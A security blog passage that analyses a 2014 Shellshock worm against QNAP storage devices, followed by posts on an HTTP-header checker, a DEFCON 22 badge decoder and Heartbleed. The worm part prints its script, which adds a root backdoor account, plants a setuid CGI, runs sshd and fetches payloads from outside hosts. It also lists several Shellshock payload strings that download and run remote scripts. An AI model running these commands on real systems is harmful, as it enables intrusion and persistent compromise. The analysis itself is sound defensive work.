137: echo 'mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb' >> /tmp/config/autorun.sh
138: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia' >> /tmp/config/autorun.sh
139: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload' >> /tmp/config/autorun.sh
140: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb' >> /tmp/config/autorun.sh
141: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb' >> /tmp/config/autorun.sh
142: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public' >> /tmp/config/autorun.sh
143: echo '# adding Ipkg apps into system path ...' >> /tmp/config/autorun.sh
144: echo "export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin:/usr/bin/X11:/usr/local/sbin " >> /tmp/config/autorun.sh
145: 
146:  mkdir -p /share/MD0_DATA/optware/opt
147:  mkdir /share/MD0_DATA/optware/ipkglib
148:  cd /
149:  cp -fr /opt/* /share/MD0_DATA/optware/opt/
150:  ln -sf /share/MD0_DATA/optware/ipkglib /usr/lib/ipkg
151:  rm -rf /opt
152:  ln -sf /share/MD0_DATA/optware/opt /opt
153:  cd /share/MD0_DATA/optware/opt
154: wget -c http://ipkg.nslu2-linux.org/feeds/optware/i686g25/cross/unstable/ipkg-opt_0.99.163-10_i686.ipk
155:  tar -xOvzf ipkg-opt_*_i686.ipk ./data.tar.gz | tar -C / -xzvf -
156: echo 'src i686g25 http://ipkg.nslu2-linux.org/feeds/optware/i686g25/cross/unstable/' >> /opt/etc/ipkg.conf
157: /opt/bin/ipkg update
158:  cd /share/MD0_DATA/optware
159: echo '#!/bin/sh' >> /usr/bin/ipkg
160: echo 'echo "${$1}lling"'>> /usr/bin/ipkg
161: echo '/opt/bin/ipkg install  $2 --tmp-dir=/share/MD0_DATA/ '>> /usr/bin/ipkg
162:  chmod 777 /usr/bin/ipkg
163: ipkg install openssh
164: sleep 2
165:  cp -f /opt/sbin/sshd /usr/sbin/sshd
166:  cp -f /opt/etc/openssh/sshd_config /etc/ssh/sshd_config
167: sleep 1
168: /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26
169: echo "sleep 200 && sh `echo ${fold}run` &" >> /tmp/config/autorun.sh
170: echo "sleep 80 && cp -f  /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && cp -f /opt/sbin/sshd /usr/sbin/sshd && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 &" >> /tmp/config/autorun.sh
171:                 cd /
172:  umount  /tmp/config
173:  sleep 1
174: 
175: 
176: 
177: elif [[ "$os" == 'x86_64' ]]; then
178:   echo "nameserver 8.8.8.8" >> /etc/resolv.conf
179: #  mkdir -p $fold
180:    
181: wget -P $fold http://$ip/..64
182: wget -P $fold http://$ip/64.cgi
183:  cp ${fold}64.cgi /home/httpd/cgi-bin/exo.cgi
184:  mv ${fold}64.cgi ${fold}.exo.cgi
185:   chmod +x ${fold}..64
186:   chmod 4755 ${fold}64.cgi
187: mount -t ext2 /dev/sdk6 /tmp/config
188:   sleep 2
189:   echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
190:                         chmod 777 /tmp/config/autorun.sh
191:    echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
192:   cd /
193: umount /tmp/config
194: rm -fr /tmp/config/autorun.sh
195: mount /dev/sdx6 /tmp/config
196: sleep 2
197:                 echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
198:                         chmod 777 /tmp/config/autorun.sh
199:                         echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
200:                 cd /
201: umount /tmp/config
202: rm -fr /tmp/config/autorun.sh
203: mount -t ext2 /dev/sdg6 /tmp/config
204: sleep 2
205:                 echo "cp `echo ${fold}`.exo.cgi  /home/httpd/cgi-bin/exo.cgi "  >> /tmp/config/autorun.sh
206:                         chmod 777 /tmp/config/autorun.sh
207:                         echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
208:                 cd /
209: umount /tmp/config
210: rm -fr /tmp/config/autorun.sh
211: 
212: PUF=`ls -a /dev/s* | grep -v 1 | grep  6 `
213: echo $PUF >> /tmp/az1
214: for LINE in `cat /tmp/az1`; do PA9=`echo $LINE `; /bin/mount -t ext2 $PA9  /tmp/config ; /bin/sleep 1  ; done
215: /bin/sleep 1
216: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
217:   sort -u /tmp/config/autorun.sh >> /tmp/config/aa
218:   /bin/mv /tmp/config/aa /tmp/config/autorun.sh 
219: echo "cp `echo ${fold}`.exo.cgi  /home/httpd/cgi-bin/exo.cgi "  >> /tmp/config/autorun.sh
220: chmod 777 /tmp/config/autorun.sh
221: echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
222: cd /
223: cat /tmp/config/autorun.sh | grep -v exo >> /tmp/o
224: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/o
225: umount /tmp/config
226:  fi
227: 
228:  Search="request"
229:  Files="/etc/passwd"
230:  if grep $Search $Files; then
231:   echo "$Search user its just added!"
232:  else
233:   echo "request:x:0:0:request:/share/homes/admin:/bin/sh" >> /etc/passwd
234:   echo 'request:$1$$PpwZ.r22sL5YrJ1ZQr58x0:15166:0:99999:7:::' >> /etc/shadow
235:  fi
236: 
237: 
238: #conf group
239: TETTE=`cat /etc/group | grep administra`
240: printf "$TETTE,request" >> /tmp/g
241:  cat /etc/group | grep -v adminis >> g
242:  mv g /etc/group 
243:  chmod 777 /etc/group
244: #inst patch
245: 
246: wget -P /mnt/HDA_ROOT/update_pkg/ http://eu1.qnap.com/Storage/Qfix/ShellshockFix_1.0.2_20141008_all.bin
247:  chmod +x /mnt/HDA_ROOT/update_pkg/ShellshockFix_1.0.2_20141008_all.bin
248: /mnt/HDA_ROOT/update_pkg/ShellshockFix_1.0.2_20141008_all.bin
249: 
250: #inst scan
251: sfolder="/share/HDB_DATA/.../"
252: url69="http://185.14.30.79/run"
253: #t -P 
254: if [ ! -f $sfolder ];then
255: mkdir -p $sfolder
256: cd $sfolder
257: wget $url69 
258: wget $url69 -P ${fold} -q
259: chmod +x ${sfolder}run ${fold}run
260: #sh run &
261: fi
262: cd $fold
263: sh run &
264: 
265: #`echo ${fold}`
266: 
267: busybox reboot
268: /bin/reboot
269: /sbin/reboot
270:  rm  $0
271:  rm -fr /tmp/S1.sh /tmp/S2.sh /tmp/az1 /tmp/config/autorun.sh /tmp/o  /tmp/S0.sh
272: exit

Here are some references:

As usual, SANS is all over this one.  Here's their analysis of what appears to be the same worm:
https://isc.sans.edu/diary/Worm+Backdoors+and+Secures+QNAP+Network+Storage+Devices/19061

The devices being attacked: http://www.qnap.com/

Article about other worms attacking the same devices: http://www.pcworld.com/article/2690932/shellshock-attacks-target-qnaps-network-storage-fireeye-says.html

Another article about other worms attacking the same devices:  https://www.fireeye.com/blog/threat-research/2014/10/the-shellshock-aftershock-for-nas-administrators.html

A couple of explanations of the ShellShock vulnerability:
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
http://en.wikipedia.org/wiki/Shellshock_(software_bug)

The package utility the worm uses: http://en.wikipedia.org/wiki/Ipkg

Info on the malicious site (bodisparking.com) you're sent to if you contact the host in the comment (qupn.byethost5.com) : http://www.enigmasoftware.com/bodisparkingcom-removal/
Don't do it!

---

Update 12/21/2014: Since the original posting, I have seen several variations of this same attack.  They all utilized the same attack vector (URL is "/cgi-bin/authLogin.cgi", the attack is embedded in the "User-Agent" header).  While they are different, they are all still trying to run a version of S0.sh described above.

() { :; }; /bin/rm -rf /tmp/S0.php /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://x3q.altervista.org/gH/S0.php -O /tmp/S0.sh && /bin/sh /tmp/S0.sh && sh S0.php 0<&1 2>&1   & 
  
() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1   

() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1
When I checked the download server for each of these attacks, it was already either down or not providing these files anymore.

However, as of this writing (12/21/2014 @ 15:10 UTC) the download server for this attack was still responding:

() { :; }; /bin/rm -rf /tmp/S0.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c  http://192.192.78.216:9090/gH/S0.php -O /tmp/S0.sh  && /usr/bin/wget -c  http://192.192.78.216:9090/gH/S0.php -P /tmp && /bin/sh /tmp/S0.php 0<&1 2>&1

I have no idea how much longer that server will remain up until it's shutdown.  (I have sent a notification to the best contact I could find.)

Reviewing the S0.php script from this attack shows that "S0" has evolved, some sections of code have been rewritten, but the ultimate functionality is unchanged.

Finally, here's my favorite one so far:

() { :; }; /bin/rm -rf /tmp/io.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://nyo2k2.altervista.org/io.php -P /tmp && /bin/rm /tmp/io.php 0<&1 2>&1

Why my favorite?  Compare it to the others ... instead of using /bin/sh to run the attack script, it uses /bin/rm to delete it!  This has got to be a bug; perhaps a test version which made it into the wild or perhaps the result of some weird data corruption which is occurring somehow.  But the overall result is that this version will not propagate itself.

Fun stuff!

BTW, thanks to Erich, who's also been looking at this worm and has been generous with the insights he's gleaned about it.

Just to check

So now we're being reminded that by default our ISP has the ability to both view and modify the traffic we entrust to them.

http://webpolicy.org/2014/10/24/how-verizons-advertising-header-works/

No big shock, but it's still disappointing (at least to me.)  The obvious solution is to use a VPN or other encryption (always SSL?) to prevent tampering with your traffic (when possible.)

Since it's likely that other providers are doing something similar, or will decide to at some time in the future, I decided I wanted an easy way to check for HTTP header tampering.

The result is this script, which simply prints what Apache is able to deduce about a connection.  There must be 1 or 2 million sites which do the same sort of thing, but I wanted one that I control!  And of course, my wheel is rounder any anyone else's.  :-)

There's actually a bit of code which highlights the Verizon Universal ID hash if it's present.  I'll update this if I find out how other providers are also doing this sort of thing  (done ... see below.)

You can try it out at: http://www.sekur1ty.org/foo/bar.pl

(BTW, if you're checking your phone connection, make sure you're not using a WIFI connection when you try this.)

Here's the code:

 

#!/usr/bin/perl -w -t

# Simple CGI program to return what Apache reports about the client and the HTTP request received.

print "Content-type: text/html\n\n";
print "Here is everything that I know about you ...<br><br>";

$DoLog = 0;
if ($ENV{"QUERY_STRING"} =~ /\s*log\s*=\s*yes/i){
    $DoLog = 1;
    open LOG, ">>/tmp/bar.log";
    @ltime = localtime(time);   # Wed Oct 29 01:31:47 UTC 2014
    $Time = sprintf ("%02i/%02i/%04i %02i:%02i:%02i",$ltime[4],$ltime[3],$ltime[5]+1900,$ltime[2],$ltime[1],$ltime[0]);
    print LOG "----------------------------------------\n";
    print LOG "$Time\n";
    print "<b>You have requested the uber secret log option. This will save a record of this connection info.</b><br><br>";
}

print "This is info not directly in the HTTP header, some comes directly from the server (e.g. SERVER_ADDR) and some is derived from your connection (such as REMOTE_ADDR)<br><br>";
# Print the non-header info first, followed by the HTTP header info
print "<code>";
foreach my $key (keys %ENV) {
    if ($key !~ /HTTP_/){
 &do_print ($key);
    }
}

print "</code>";
print "<br>This is what was found in the HTTP header of the request. <i>(Note: Verizon, ACR and other potential tracking hashes highlighted if present.)</i><br><br>";

print "<code>";
foreach my $key (keys %ENV) {
    if ($key =~ /HTTP_/){
 &do_print ($key);

    }
}
print "</code>";

sub do_print {   # filter out a few characters and print
    my $key = pop();
    my $value = $ENV{$key};

    if ($DoLog){
 print LOG "$key: $value\n";
    }

    $value =~ s/\&/&amp;/g;
    $value =~ s/>/&gt;/g;
    $value =~ s/</&lt;/g;
    $value =~ s/\"/&quot;/g;
    $value =~ s/\'/&apos;/g;
    $value =~ s/\`/&#0096;/g;

    if ($key =~ /uid|acr|msisdn|subno/i){  # verizon hash is UIDH, others are ACR etc, match on just uid & acr to catch variations
 print "<b>$key: $value</b><br>";
    }
    else{
 print "$key: $value<br>";
    }


}

Update (10/28/2014): It turns out that variations of -X-ACR (Anonymous Customer Record) are also being used.  I've updated the program to flag those and a few others I've read about ... see below.

http://blog.jgc.org/2012/02/mobile-subscriber-leakage-in-http.html


The ACR value appears to be based on a draft RFC:
http://tools.ietf.org/html/draft-uri-acr-extension-04
http://www.gsma.com/oneapi/anonymous-customer-reference-beta/

Update (11/13/2014): Just to rub our noses in fact that our data can (and is) being modified after we send it across the Internet ... It turns out that Cisco devices have a default setting to modify SMTP (email) sessions to prevent the negotiation of SMTP over TLS (i.e. email across an encrypted connection.)  This is related to the joy above, since the Cisco actually modifies the data that has been sent, fooling one side of the conversation into believing that the other did is refusing to support TLS.

Why does Cisco do this by default?  It turns out the Cisco device wants to inspect the SMTP sessions to prevent malicious activity, and of course it can't do that if the session is encrypted.  Most likely they do this with good intentions, but in today's environment, this is just screaming conspiracy all over the place.  For example:
http://arstechnica.com/tech-policy/2014/11/condemnation-mounts-against-isp-that-sabotaged-users-e-mail-encryption/

In fact, it's a somewhat obscure, but still easily found "feature" on Cisco firewalls:

https://stomp.colorado.edu/blog/blog/2012/12/31/on-smtp-starttls-and-the-cisco-asa/

http://www.cisco.com/c/en/us/td/docs/security/asa/asa-command-reference/I-R/cmdref2/i2.html#pgfId-1765148

So while it seems that in this case folks are just trying to do the right thing, they are still willy-nilly changing what we send out across the Internet "for our own good."

Update (10/7/2015): Almost a year after I wrote this, and the problem has only gotten worse.  Verizon has just entered into an arrangement with AOL to merge their profile data (essentially who you are) with AOL's huge database of our browsing habits (derived from AOL's substantial ad network.)  I guess this shouldn't be a surprise, since Verizon bought AOL earlier this year.  I imagine this is exactly why they made that purchase.

This does make me wonder what's next.  If I were to pay a bill by postal mail, perhaps Verizon could extract a DNA sample from the envelope?  Maybe they can work out an exchange with China for the OPM data?   :-)

Here are all the sordid details: https://www.propublica.org/article/verizons-zombie-cookie-gets-new-life

DEFCON 22 Impressions

For the third year in a row I was able to attend DEFCON (self funded), and I must say I'm completely hooked.

The crowds were even more out of control than last year.  I got in line for the badge around 6:30 Thursday morning, and the line was already humongous.  By the time they started handing out badges (9:00), the line extended all the way back to the casino and they had started turning folks away.  Amazing!

In fact, they ran out of badges by the end of the day.  Those folks who missed out on "The" badge, got a paper badge and a DEFCON 20 badge as a consolation prize.  I feel bad for the folks who didn't get a badge.  There were 14,000 badges and it wasn't enough.  I can imagine it's very hard to predict how many folks will attend a conference like DEFCON (especially since there's no pre-registration).  Still they usually get it right, I wonder what led to them to so completely misjudge how many badges they needed this  time.

Speaking of the badge, it was awesome!  Almost as good as the DEFCON 20 badge, and clearly a prize worth the wait.  As with the DEFCON 20 badge, it was based on the Parallax Propeller development system. http://www.parallax.com/news/2014-08-06/propeller-1-defcon-22-badges-las-vegas

I spent some time playing with the badge, mostly establishing communication between it and my Linux system (minicom, 57600 baud with ttyUSB0).  Once I got that running, the badge started typing random commands to the screen, but due to the primitive communications the commands were overwriting each other and I wasn't sure I was getting it all.  I then found the source for the badge on the CD they handed out.  :-)

Poking at the source I found the strings that the badge prints to the screen.  They were encoded, but the routines to decode them were in the source, so I wrote a quick and dirty program to print them all.  Below is a cleaned up version of that program, which decodes and prints all the "secret" hints that the badge types when you connect to it.  (Of course, this is just for the "Human" badge, I don't know what the other badges do.) I included the relevant code from the badge as comments in my program.

#!/usr/bin/env ruby

# Decode the "secret" strings in the defcon 22 badge source code.

################################################################
# Here's snippits of the spin source (and the strings) fromm the badge
#
#  RayNelson   byte      "IAIHG TPJNU QU CZR GALWXK DC MHR LANK FOTLA OTN LOYOC HPMPB PX HKICW",0
#  Test4       byte      "DID YOU REALLY THINK THAT IT WOULD BE SO EASY? Really?  Just running strings?",0
#  Greets      byte      16,77,85,66,83,69,67,85,32,74,69,32,84,85,86,83,69,68,32,74,77,85,68,74,79,32,74,77,69,13,0
#  Detective   byte      13,74,85,82,69,82,32,71,66,32,79,82,84,86,65,32,86,32,88,65,66,74,32,83,86,65,81,32,85,78,69,66,89,81,13,0
#  Scientist   byte      76,81,84,89,86,70,32,82,75,66,32,83,78,90,32,83,81,87,83,85,32,87,82,65,32,73,77,82,66,32,67,70,72,82,32,90,65,65,65,65,32,73,89,77,87,90,32,80,32,69,65,74,81,86,68,32,89,79,84,80,32,76,71,65,87,32,89,75,90,76,13,0
#  Diver       byte      10,"DBI DRO PSBCD RKVP YP RSC ZRYXO XEWLOB PYVVYGON LI RSC VKCD XKWO DROX DRO COMYXN RKVP YP RSC XEWLOB",CR,0
#  Driver      byte      "SOMETIMES WE HAVE ANSWERS AND DONT EVEN KNOW IT SO ENJOY THE VIEW JUST BE HAPPY",0
#  Politician  byte      83,83,80,87,76,77,32,84,72,67,65,80,32,81,80,32,74,84,32,73,87,69,32,87,68,88,70,90,32,89,85,90,88,32,85,77,86,72,88,72,32,90,65,32,67,66,32,80,65,69,32,88,82,79,76,32,70,65,89,32,73,80,89,75,13,0
#  Test3       byte      "ZGJG MTM LLPN C NTER MPMH TW",CR,0
#  Football    byte      "IT MIGHT BE HELPFUL LATER IF YOU KNOW HOW TO GET TO EDEN OR AT LEAST THE WAY",0
#  Mystery     byte      "OH A MYSTERY STRING I SHOULD HANG ON TO THIS FOR LATER I WONDER WHAT ITS FOR OR WHAT IT DECODES TO?",0
#
#  Cmd00       byte      $05, $42, $54, $57, $50, $20, $4A, $4E, $4C, $4D, $59, $20, $4D, $54
#              byte      $5A, $57, $58, $0D, $00, $4C, $4F, $56, $45, $00 
#  Cmd01       byte      $04, $41, $45, $58, $47, $4C, $20, $58, $5A, $0D, $00
#  Cmd02       byte      $0E, $47, $49, $50, $41, $57, $48, $0D, $00, $4C, $49, $46, $45, $00
#  Cmd03       byte      $0C, $45, $46, $4D, $4B, $20, $4D, $45, $58, $51, $51, $42, $0D, $00
#  Cmd04       byte      $04, $53, $46, $49, $43, $0D, $00, $47, $69, $47, $21, $00
#  Cmd05       byte      $14, $48, $49, $20, $43, $48, $58, $59, $4A, $59, $48, $58, $59, $48
#              byte      $4E, $20, $4E, $42, $49, $4F, $41, $42, $4E, $0D, $00
#  Cmd06       byte      $02, $50, $51, $20, $4B, $4F, $43, $49, $4B, $50, $43, $56, $4B, $51
#              byte      $50, $0D, $00, $4A, $6F, $6E, $6E, $79, $4D, $61, $63, $00
#  Cmd07       byte      $0C, $59, $4D, $44, $44, $4B, $20, $4D, $5A, $50, $20, $44, $51, $42
#              byte      $44, $41, $50, $47, $4F, $51, $0D, $00, $48, $41, $50, $50, $59, $00
#  Cmd08       byte      $05, $4A, $46, $59, $0D, $00, $48, $45, $41, $4C, $54, $48, $00
#  Cmd09       byte      $09, $4D, $58, $20, $57, $58, $43, $20, $5A, $44, $4E, $42, $43, $52
#              byte      $58, $57, $20, $4A, $44, $43, $51, $58, $41, $52, $43, $48, $0D, $00 
#  Cmd10       byte      $0F, $52, $44, $43, $48, $4A, $42, $54, $0D, $00
#  Cmd11       byte      $02, $45, $51, $50, $48, $51, $54, $4F, $0D, $00
#  Cmd12       byte      $19, $41, $54, $58, $0D, $00, $57, $45, $41, $4C, $54, $48, $00
#              byte      $31, $6F, $35, $37, $00
#
##################################
# Here's where the various hints are decoded.  Notice two different schemes are used.
#
#  term.caesar(@@Commands[idx])
#  term.caesar(@Greets)
#  term.otp(@Test3, @Test4)
#  term.caesar(@Detective)                                 ' display crypto string
#  term.otp(@Scientist, @Driver)
#  term.caesar(@Diver)
#  term.otp(@Politician, @Football)
#  term.otp(@RayNelson, @Mystery)
#
##################################
# Here are the actual spin decoding routines.  exor isn't actually used (here)
#
#pub caesar(p_zstr) | c                                          ' *1o57*   
#
#  lost := byte[p_zstr++]
#  repeat strsize(p_zstr)
#    c := byte[p_zstr++] 
#    case c
#      32    : tx(32)
#      13    : tx(13)
#      other : tx((((c-65)+26-lost)//26)+65)
#
#      
#pub exor(p_zstr)                                                ' *1o57*   
#
#  lost := byte[p_zstr++]
#  repeat strsize(p_zstr)
#    tx(byte[p_zstr++]^lost)
#    
#    
#pub otp(p_zstr1, p_zstr2)                                       ' *1o57*
#
#  repeat until (byte[p_zstr1] == 0)
#    if (byte[p_zstr1] == 32)
#      tx(32)
#      p_zstr1++
#      
#    elseif (byte[p_zstr1] == 13)
#      tx(13)
#      p_zstr1++
#      
#    elseif (byte[p_zstr2] == 32)
#      p_zstr2++
#      
#    else
#      tx((((byte[p_zstr1++]-65)+(byte[p_zstr2++]-65))//26)+65)
#
################################################################

#
# Here are my versions of the decoding routines
#

def caesar (message)
  decoded = ""
  lost = message.delete_at(0)

  message.each {|c|
    case c
    when 32 then result = 32
    when 13 then next
    when 0 then break
    else
      result = ((((c-65)+26-lost)%26)+65)
    end
    decoded = decoded + result.chr
  }
  decoded
end

def otp (message, key)
  decoded = ""

  msg_index = 0
  key_index = 0

  while msg_index < message.length
    if key_index < key.length
      c = message[msg_index]
      d = key[key_index]
      case c
      when 32 then 
        result = 32
        msg_index += 1
      when 13 then 
        msg_index += 1
        next
      when 0 then
        break
      else
        if d == 32 then
          key_index +=  1
          next
        else
          result = ((((c-65)+(d-65))%26)+65)
          msg_index += 1
          key_index += 1
        end
      end
      decoded = decoded + result.chr
    end
  end
  decoded
end

#
# A  couple of auxiliary routines to adjust data types.
#

def s2c (string)  # String2Char .. convert string of decimal numbers to array of chars
  result = []
  string.each_byte {|char|
    result.push(char)
  }
  result
end


def h2c  (array_string)   # Hex2Char .. convert string of Hex numbers (in spin format) to array of chars
  result = [];
  inter1 = ""
  inter1 = array_string.gsub(/\$/,'0x')
  inter1.scan(/0x../){|element| result.push(element.hex)}

  result
end

#
# OK, finally. Decode the all the hints and print them
#

cmd00 = h2c ("$05, $42, $54, $57, $50, $20, $4A, $4E, $4C, $4D, $59, $20, $4D, $54, $5A, $57, $58, $0D, $00, $4C, $4F, $56, $45, $00")
puts "caeser(Cmd00) = #{caesar(cmd00)}"

cmd01 = h2c ("$04, $41, $45, $58, $47, $4C, $20, $58, $5A, $0D, $00")
puts "caesar(Cmd01) = #{caesar(cmd01)}"

cmd02 = h2c("$0E, $47, $49, $50, $41, $57, $48, $0D, $00, $4C, $49, $46, $45, $00")
puts "caesar(Cmd02) = #{caesar(cmd02)}"

cmd03 = h2c("$0C, $45, $46, $4D, $4B, $20, $4D, $45, $58, $51, $51, $42, $0D, $00")
puts "caesar(Cmd03) = #{caesar(cmd03)}"

cmd04 = h2c("$04, $53, $46, $49, $43, $0D, $00, $47, $69, $47, $21, $00")
puts "caesar(Cmd04) = #{caesar(cmd04)}"

cmd05 = h2c("$14, $48, $49, $20, $43, $48, $58, $59, $4A, $59, $48, $58, $59, $48, $4E, $20, $4E, $42, $49, $4F, $41, $42, $4E, $0D, $00")
puts "caesar(Cmd05) = #{caesar(cmd05)}"

cmd06 = h2c("$02, $50, $51, $20, $4B, $4F, $43, $49, $4B, $50, $43, $56, $4B, $51, $50, $0D, $00, $4A, $6F, $6E, $6E, $79, $4D, $61, $63, $00")
puts "caesar(Cmd06) = #{caesar(cmd06)}"

cmd07 = h2c("$0C, $59, $4D, $44, $44, $4B, $20, $4D, $5A, $50, $20, $44, $51, $42, $44, $41, $50, $47, $4F, $51, $0D, $00, $48, $41, $50, $50, $59, $00")
puts "caesar(Cmd07) = #{caesar(cmd07)}"

cmd08 = h2c("$05, $4A, $46, $59, $0D, $00, $48, $45, $41, $4C, $54, $48, $00")
puts "caesar(Cmd08) = #{caesar(cmd08)}"

cmd09 = h2c("$09, $4D, $58, $20, $57, $58, $43, $20, $5A, $44, $4E, $42, $43, $52, $58, $57, $20, $4A, $44, $43, $51, $58, $41, $52, $43, $48, $0D, $00")
puts "caesar(Cmd09) = #{caesar(cmd09)}"

cmd10 = h2c("$0F, $52, $44, $43, $48, $4A, $42, $54, $0D, $00")
puts "caesar(Cmd10) = #{caesar(cmd10)}"

cmd11 = h2c("$02, $45, $51, $50, $48, $51, $54, $4F, $0D, $00")
puts "caesar(Cmd11) = #{caesar(cmd11)}"

cmd12 = h2c("$19, $41, $54, $58, $0D, $00, $57, $45, $41, $4C, $54, $48, $00, $31, $6F, $35, $37, $00")
puts "caesar(Cmd12) = #{caesar(cmd12)}"

greets = [16,77,85,66,83,69,67,85,32,74,69,32,84,85,86,83,69,68,32,74,77,85,68,74,79,32,74,77,69,13,0]
puts "caesar(Greets) -> #{caesar(greets)}\n"

test3 = s2c ("ZGJG MTM LLPN C NTER MPMH TW")
test4 = s2c("DID YOU REALLY THINK THAT IT WOULD BE SO EASY? Really?  Just running strings?")
puts "otp (Test3, Test4) -> #{otp(test3, test4)}"

detective = [13,74,85,82,69,82,32,71,66,32,79,82,84,86,65,32,86,32,88,65,66,74,32,83,86,65,81,32,85,78,69,66,89,81,13,0]
puts "caesar(Detective) -> #{caesar(detective)}\n"

scientist = [76,81,84,89,86,70,32,82,75,66,32,83,78,90,32,83,81,87,83,85,32,87,82,65,32,73,77,82,66,32,67,70,72,82,32,90,65,65,65,65,32,73,89,77,87,90,32,80,32,69,65,74,81,86,68,32,89,79,84,80,32,76,71,65,87,32,89,75,90,76,13,0]
driver = s2c ("SOMETIMES WE HAVE ANSWERS AND DONT EVEN KNOW IT SO ENJOY THE VIEW JUST BE HAPPY")
puts "otp (Scientist, Driver) ->  #{otp(scientist, driver)}"

diver = [10] + s2c("DBI DRO PSBCD RKVP YP RSC ZRYXO XEWLOB PYVVYGON LI RSC VKCD XKWO DROX DRO COMYXN RKVP YP RSC XEWLOB")
puts "caesar (Diver) -> #{caesar(diver)}"

politician = [83,83,80,87,76,77,32,84,72,67,65,80,32,81,80,32,74,84,32,73,87,69,32,87,68,88,70,90,32,89,85,90,88,32,85,77,86,72,88,72,32,90,65,32,67,66,32,80,65,69,32,88,82,79,76,32,70,65,89,32,73,80,89,75,13,0]
football = s2c("IT MIGHT BE HELPFUL LATER IF YOU KNOW HOW TO GET TO EDEN OR AT LEAST THE WAY")
puts "otp(Politician, Football) -> #{otp(politician, football)}"

raynelson = s2c("IAIHG TPJNU QU CZR GALWXK DC MHR LANK FOTLA OTN LOYOC HPMPB PX HKICW")
mystery = s2c("OH A MYSTERY STRING I SHOULD HANG ON TO THIS FOR LATER I WONDER WHAT ITS FOR OR WHAT IT DECODES TO?")
puts "otp(RayNelson, Mystery) -> #{otp(raynelson, mystery)}"

And here's the output from this program:

caeser(Cmd00) = WORK EIGHT HOURS
caesar(Cmd01) = WATCH TV
caesar(Cmd02) = SUBMIT
caesar(Cmd03) = STAY ASLEEP
caesar(Cmd04) = OBEY
caesar(Cmd05) = NO INDEPENDENT THOUGHT
caesar(Cmd06) = NO IMAGINATION
caesar(Cmd07) = MARRY AND REPRODUCE
caesar(Cmd08) = EAT
caesar(Cmd09) = DO NOT QUESTION AUTHORITY
caesar(Cmd10) = CONSUME
caesar(Cmd11) = CONFORM
caesar(Cmd12) = BUY
caesar(Greets) -> WELCOME TO DEFCON TWENTY TWO
otp (Test3, Test4) -> COME AND PLAY A GAME WITH ME
caesar(Detective) -> WHERE TO BEGIN I KNOW FIND HAROLD
otp (Scientist, Driver) ->  DEFCON DOT ORG SLASH ONE ZERO FIVE SEVEN SLASH I WONDER WHAT GOES HERE
caesar (Diver) -> TRY THE FIRST HALF OF HIS PHONE NUMBER FOLLOWED BY HIS LAST NAME THEN THE SECOND HALF OF HIS NUMBER
otp(Politician, Football) -> ALBERT MIGHT BE ON THE PHONE WITH HAROLD SO IF ITS BUSY TRY BACK
otp(RayNelson, Mystery) -> WHITE LINES IN THE MIDDLE OF THE ROAD THATS THE WORST PLACE TO DRIVE

Of course, this was  just scratching  the surface.  To actually solve the mystery of the badge was a massive and extremely challenging undertaking.  Here's one description of the entire solution: http://potatohatsecurity.tumblr.com/post/94565729529/defcon-22-badge-challenge-walkthrough

Many of the talks I was able to get into were excellent, with the most enjoyable one being the very last talk of  the conference, "Elevator Hacking" by Deviant Ollam and Howard Payne.  Wow, I'll never be able to look at elevator the same way again!  I recommend looking for it when the video becomes available.

At the closing ceremony, DT gave the best news we could have asked for ... next year's DEFCON will be hosted at both the Bally and Paris casino/conference centers.  This ought to resolve the space problems which have plagued DEFCON the last few years.

I'm already looking forward to it!

As the Heart Bleeds (A new cryptographic soap opera)

By now, I'm sure you've heard of HeartBleed.  If not, you've missed a fun time. A good description of what it's all about is at: http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html

One of the "interesting" aspects of this vulnerability is that it places the private SSL certificate for the server at risk.  At first, there was some doubt as to just how vulnerable the private certificate really was, but as of 4/12/2014, the vulnerability of a server's private certificate has been clearly demonstrated: http://arstechnica.com/security/2014/04/private-crypto-keys-are-accessible-to-heartbleed-hackers-new-data-shows/

The first person to publicly demonstrate that the private certificate is vulnerable, Fedor Indutny (https://twitter.com/indutny), also had a snippet of code on his twitter feed showing how to grab and view certificate revocation lists (CRL).  

I was idly curious ... since we now know that any server's private certificate has potentially been compromised ... how many folks have started to revoke their server's SSL certificates?

Below is the results of the hint provided by Indutny, and a bit of Perl.  The vertical axis is the number of certificates revoked on a given day, with time flowing from the left to the right.

